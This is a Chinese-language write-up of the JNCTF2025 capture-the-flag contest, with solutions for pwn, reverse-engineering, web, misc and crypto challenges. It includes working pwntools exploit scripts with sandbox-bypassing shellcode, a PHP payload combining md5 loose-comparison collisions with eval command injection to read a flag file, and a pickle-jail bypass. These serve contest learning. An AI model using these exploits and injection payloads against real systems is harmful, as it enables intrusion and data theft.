JNCTF2025WP

JNCTF2025 WP

————Sally

PWN

1. signin

unregister的权限问题,可以用Admin账户去注销root账户,然后重新注册root账户就能拿到管理员权限

image-20250323191804461

image-20250323191840975

2. shellcoe_master(非预期解法)

这个题给了个沙箱,限制只能用orw,而且write一次只能输出一个字节,还开了PIE保护

image-20250323192427502

在执行shellcode之前,除r15和rip之外的寄存器全部清0(指向buf的位置)。而且在执行shellcode的时候buf段不可写,也代表着push和pop之类的指令不能用了。

然后想到bss段rw权限,直接把flag写在bss段,然后orw,一个个字节读出来就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# r=process('./sc_master_patched')
r=remote('172.18.137.75',32403)
# bss=0x4078
# gdb.attach(r,'b *$rebase(0x161B)')

#shellcode
# 0. read(0,bss+base,0x30)
# 1. open('./flag')
# 2. read(0, buf+base+0x100, 0x30)
# 3. write(1, buf+base+0x100, 1)
# 4. write(1, buf+base+0x101,1)
# ......

shellcode1=asm('''
add r15,0x4078
mov rsp,r15
mov rdx,0x50
mov rsi,r15
syscall
''')
payload0=b'flag\x00'
shellcode2=asm('''
mov rax,2
mov rdi,r15
xor rsi,rsi
xor rdx,rdx
syscall
mov r8,rax

xor rax,rax
mov rdi,r8
add r15,0x100
mov rsi,r15
mov rdx,0x50
syscall
add rsp,0x100
mov rax,1
mov rdi,1
mov rsi,r15
mov rdx,1
syscall

mov rax,1
mov rdi,1
add r15,41
mov rsi,r15
mov rdx,1
syscall

mov rax,1
mov rdi,1
add r15,1
mov rsi,r15
mov rdx,1
syscall

mov rax,1
mov rdi,1
add r15,1
mov rsi,r15
mov rdx,1
syscall

mov rax,1
mov rdi,1
add r15,1
mov rsi,r15
mov rdx,1
syscall

mov rax,1
mov rdi,1
add r15,1
mov rsi,r15
mov rdx,1
syscall

''')
payload=shellcode1
payload+=shellcode2

r.sendline(payload)
r.sendline(payload0)
r.interactive()

3. shellcode_master_revenge

image-20250323193200743

把地址换成了固定的0x114514000,不能把flag写在bss段了(

思路还是一样的,不过这次要利用read读数据到不可写地址时返回负数的原理来爆破找一个可写的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# r=process('./sc_master_revenge')
r=remote('172.18.137.75',32233)
# bss=0x4078
# gdb.attach(r,'b *$rebase(0x1656)')

shellcode0=asm('''
movabs r14,0x7fffffff0000
loop_start:
xor rax, rax
xor rdi, rdi
mov rsi, r14
mov rdx, 5
syscall
test rax, rax
jns continue_exec
sub r14, 0x10000
jmp loop_start
continue_exec:
mov r15, rax
''')

shellcode1=asm('''
mov rax, 1
mov rdi, 1
movabs r11, 0x114514001
mov rsi, r11
mov rdx, 1
syscall
xor rax,rax
mov rdi,0
mov rdx,0x50
mov rsi,r14
syscall
''')

shellcode2=asm('''
mov rax,2
mov rdi,r14
xor rsi,rsi
xor rdx,rdx
syscall
mov r8,rax

xor rax,rax
mov rdi,r8
mov rsi,r14
mov rdx,0x50
syscall
mov r9,rax
xor r10,r10

loop:
cmp r10, r9
jge exit_program

mov rax,1
mov rdi,1
lea rsi,[r14+r10]
mov rdx,1
syscall
add r10,1
jmp loop
exit_program:
mov rax,60
xor rdi,rdi
syscall
''')
payload=shellcode0
payload+=shellcode1
payload+=shellcode2
payload0 = b'flag\x00'

r.sendline(payload)
r.send(payload0)
r.sendline(payload0)
r.interactive()

在原来的exp上又稍微改进了一下,在0x7fffffff000的地址开始爆破

RE

compose

在class3.dex里面找到Main activity和Main activity.kt,可以看出是一个RC4加密,密钥是Tanggegehaoshuai,直接写脚本就爆出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
key = b'TanggegeHaoShuai'
enc = bytes([
0x12, 0x95, 0x32, 0x5B, 0x78, 0x23, 0x5F, 0x61,
0xC8, 0x9C, 0x30, 0x0E, 0xBB, 0xDF, 0x62, 0xDF,
0xED, 0x69, 0xDE, 0xF7, 0x70, 0x51, 0xAC, 0xF6,
0xE7, 0xB7, 0x54, 0x08, 0x1B, 0xDD, 0x61, 0x3A,
0x0B, 0xDE, 0x8E, 0x95, 0x9D, 0x89
])

def rc4_decrypt(key, data):
S = list(range(256))
j = 0
# Key scheduling
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-random generation
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
result.append(byte ^ k)
return bytes(result)

decrypted = rc4_decrypt(key, enc)
print(decrypted.decode('utf-8', errors='ignore'))

WEB

1. eateateat

小游戏,没什么好说的,直接看源码就秒了

image-20250323194143037

2.test php

先贴源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==2025){
die("活在当下2025,但好像不对???");
}
if(preg_match("/[a-z]/i", $num)){
die("哥们,这是年份,你在干嘛!");
}
if(intval($num, 0)==2025){
echo "咦,居然被你猜对了,还得是2025!";
echo "\n";
echo "新年快乐啊!但送不了你flag!";
echo "这才是第一关通过了!";
}
}
if(isset($_POST['a'])){
$a = $_POST['a'];
$c = $_POST['c'];
parse_str($a, $b);
if($b['JNSEC'] == md5($c)){
echo "???这都被你猜对了??";
echo "\n";
echo "但这好像只是第二关!";
}
}
if(isset($_POST['d']) && isset($_POST['e'])){
$d = $_POST['d'];
$e = $_POST['e'];
if (($d !== $e) && (md5($d) == md5($e))) {
echo "恭喜你!好像就马上要成功了!";
$f = $_POST['f'];
// flag在当前目录下的flag文件中
eval("echo new Reflection($f());");
}
}

第三部分可以用md5碰撞,然后给f赋值为system(‘ls -al’)一类的命令来看目录,找到flag后cat一下就好

1
a=JNSEC=202cb962ac59075b964b07152d234b70&c=123&d=QNKCDZO&e=240610708&f=system('cat%20../../../flag.php')

misc

唉,misc就是一坨

1. stego

stego.qoi一个少见的图片格式,去网上找找github的qoi格式转换,把格式换回来就能看见flag

phoboslab/qoi: The “Quite OK Image Format” for fast, lossless image compression

2.ez_pickle_jail

是一个python沙箱,可以利用低版本的pickle数据,这样在反序列后再转序列化就会导致内容不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import base64
import binascii

pickle_input = input("Enter the base64 encoded pickle: ")
try:
pickle_data = base64.b64decode(pickle_input)
except binascii.Error as e:
print("Invalid base64 encoding")
exit(1)
try:
data = pickle.loads(pickle_data)
except pickle.UnpicklingError as e:
print("Invalid pickle data")
exit(1)
pickle_output = pickle.dumps(data)
if pickle_output != pickle_data:
print(open("/flag").read())
# too many solutions,isn't it?



JNCTF{hhhhTh1s_Re@1_E@sy_P7P1111}
1
2
3
4
5
6
7
import pickle
import base64

data = 0
pickle_data = pickle.dumps(data, protocol=0)
encoded = base64.b64encode(pickle_data).decode()
print(encoded)

CRYPTO

1.story

给了一大段换表后的文本,这里可以直接就让大语言模型帮忙完成统计爆破

2. 悲伤的故事(有点像misc了)

1
2
3
4
这是一个悲伤的故事,他眼含泪水推开酒吧那扇厚重的门,脑中还不断回荡着酒吧里的各种乐器声,在酒精的麻痹下,他浑浑噩噩的走到了家中,看着小院栅栏中的鸟语花香,他又回想起曾经的那段时光,但他知道,他该放下了,就这样,他回到了自己的房间里,发现桌上有着一个古典雅致的盒子,他瞬间清醒了不少,激动的连忙赶过去,用钥匙打开,里面是封古典的信件,他双手颤抖着打开这封信:
亲爱的维吉!
三年了,你是否还记得“VERSd3FASFhjUkpyX19tMTFAQXsxMUdfX199”是什么意思,如果心中有那答案,就来找我吧。

在文本里能看出有栅栏加密(offset=3),base64,维吉尼亚加密。

base64之后:TDRwq@HXcRJr__m11@A{11G___}

栅栏解密:TRADJ{Rr1w_1q_G@m_H1_X1_c@}

根据JNCTF{}的flag格式,可以推断出密钥就是key

最后维吉尼亚解密:JNCTF{Th1s_1s_W@i_J1_N1_y@}

3. 熟悉的故人

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import libnum
import gmpy2
import random
from secrets import FLAG

p = libnum.generate_prime(1024 + random.randint(0, 1024))
q = gmpy2.next_prime(p)
e = 65537
m = FLAG
m = libnum.s2n(m)
n = p*q
phi_n = (p-1)*(q-1)
d = libnum.invmod(e,phi_n)
c = pow(m,e,n)

print("n =",n)
print ("e =",e)
print ("c =",c)

# n = 299487015341597647919776121004167231949688268241700414027108990830625623733773719845841268481813362766547912866733711608177564250583355016088619602664748425336481765034201744572985159895585715150798269166534598956939724628696559498880597219784298678035926538950792013309608367104567539694805267059251508650074879211671636277899101015682266724064486585722087645838229287808682200953448105025969146455228490015983463746790376132783796872114120190783210924155244559381221390948899033151290151152600368322574929968834669432260194965876835069287868333462555623127602208275637571642586991525702340484853548458548057993639750566860524849624229544573184492710462829280342457207433467447389201079678219686250530932773758629428257347183339748908201954402303
# e = 65537
# c = 173280870300519923715203696834882119083542571140839028806768298820015863852835794226059877700906545110752776137513745886446530644296244068573533415866288372258806488689702896105169105563661309394552655714439116657949182579256607803282002619932851022083044252527626831071719084726862098167058504014857808959509507079927043329860218143205867802447678657763092502703595859068700554763976014721402041206266622977798828412773984216149947581746621557407684424045536228695940316363053758694192430323960905458863919028226745439720770512594999441599361470532712341687933197440708229732759256063243580119155040005536274041077293091976606018500585881239869658926701105111190472713681295382152192237128324734905038277701951508078229426733519689307305874608135

RSA,直接脚本秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 299487015341597647919776121004167231949688268241700414027108990830625623733773719845841268481813362766547912866733711608177564250583355016088619602664748425336481765034201744572985159895585715150798269166534598956939724628696559498880597219784298678035926538950792013309608367104567539694805267059251508650074879211671636277899101015682266724064486585722087645838229287808682200953448105025969146455228490015983463746790376132783796872114120190783210924155244559381221390948899033151290151152600368322574929968834669432260194965876835069287868333462555623127602208275637571642586991525702340484853548458548057993639750566860524849624229544573184492710462829280342457207433467447389201079678219686250530932773758629428257347183339748908201954402303
e = 65537
c = 173280870300519923715203696834882119083542571140839028806768298820015863852835794226059877700906545110752776137513745886446530644296244068573533415866288372258806488689702896105169105563661309394552655714439116657949182579256607803282002619932851022083044252527626831071719084726862098167058504014857808959509507079927043329860218143205867802447678657763092502703595859068700554763976014721402041206266622977798828412773984216149947581746621557407684424045536228695940316363053758694192430323960905458863919028226745439720770512594999441599361470532712341687933197440708229732759256063243580119155040005536274041077293091976606018500585881239869658926701105111190472713681295382152192237128324734905038277701951508078229426733519689307305874608135

s = gmpy2.isqrt(n)
found = False
p = None
q = None
for i in range(2000):
current = s - i
if n % current == 0:
p = current
q = n // current
if gmpy2.is_prime(p) and gmpy2.is_prime(q) and gmpy2.next_prime(p) == q:
found = True
break

if found:
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag.decode())
else:
print("未找到合适的因数。")

# JNCTF{Is_just_another_RSA}

后记

没把ezbase打出来可惜了,re也没做出来多少


JNCTF2025WP
http://example.com/2025/03/24/JNCTF2025WP/
发布于
2025年3月24日
许可协议